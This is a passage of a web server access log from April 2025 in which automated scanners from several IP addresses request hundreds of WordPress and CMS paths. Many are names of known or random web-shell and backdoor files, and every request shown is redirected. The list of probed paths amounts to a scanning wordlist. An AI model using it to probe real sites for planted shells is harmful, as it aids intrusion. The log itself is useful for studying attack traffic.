/wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:03 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:04 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:04 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:04 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:04 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:05 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:05 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:05 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:05 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:05 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:06 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:06 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:06 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:06 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:06 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:07 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:07 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:07 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:08 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:08 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:08 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:09 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:09 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:09 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:09 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:09 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:10 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:10 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:10 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:10 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:10 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:11 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:11 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:11 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:11 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:12 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:12 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:12 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:13 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:13 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:14 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 54.89.128.215 - - [21/Apr/2025:23:34:06 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 43.157.180.116 - - [21/Apr/2025:23:52:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.223.108.59 - - [21/Apr/2025:23:53:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 154.50.136.26 - - [22/Apr/2025:00:14:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 52.164.243.23 - - [22/Apr/2025:00:36:59 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:01 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:01 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:02 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:03 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:03 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:04 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:05 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:06 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:06 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:07 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:08 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:08 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:09 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:10 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:11 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:12 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:13 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:13 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:14 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:15 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:15 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:16 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:17 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:18 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:18 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:19 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:19 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:20 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:21 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:21 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:22 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:23 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:23 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:24 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:24 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:25 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:26 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:26 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:27 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:27 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:28 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:28 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:29 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:30 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:31 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:31 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:32 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:33 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:33 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:34 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:35 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:35 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:36 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:37 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:37 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:38 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:39 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:39 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:40 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:41 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:41 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:42 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:43 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:43 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:44 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:45 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:45 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:46 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:46 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:47 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:48 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:48 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:49 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:49 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:50 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:50 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:51 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:51 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:52 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:53 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:53 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:54 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:54 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:55 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:56 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:56 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:57 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:58 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:58 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:37:59 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:00 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:00 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:01 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:01 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:02 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:03 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:03 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:04 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:04 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:05 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:06 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:06 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:07 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:07 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:08 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:08 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:09 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:10 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:10 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:11 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:11 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:12 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:13 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:13 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:14 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:14 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:15 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:15 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:16 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:17 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:17 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:18 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:18 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:19 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:20 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:20 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:21 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:21 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:22 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:22 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:23 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:24 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:24 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:25 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:25 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:26 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:26 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:27 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:27 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:28 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:29 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:29 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:30 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:31 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:31 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:32 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:33 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:33 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:34 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:34 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:35 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:36 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:36 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:37 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:37 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:38 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:39 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:39 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:40 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:40 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:41 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:42 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:42 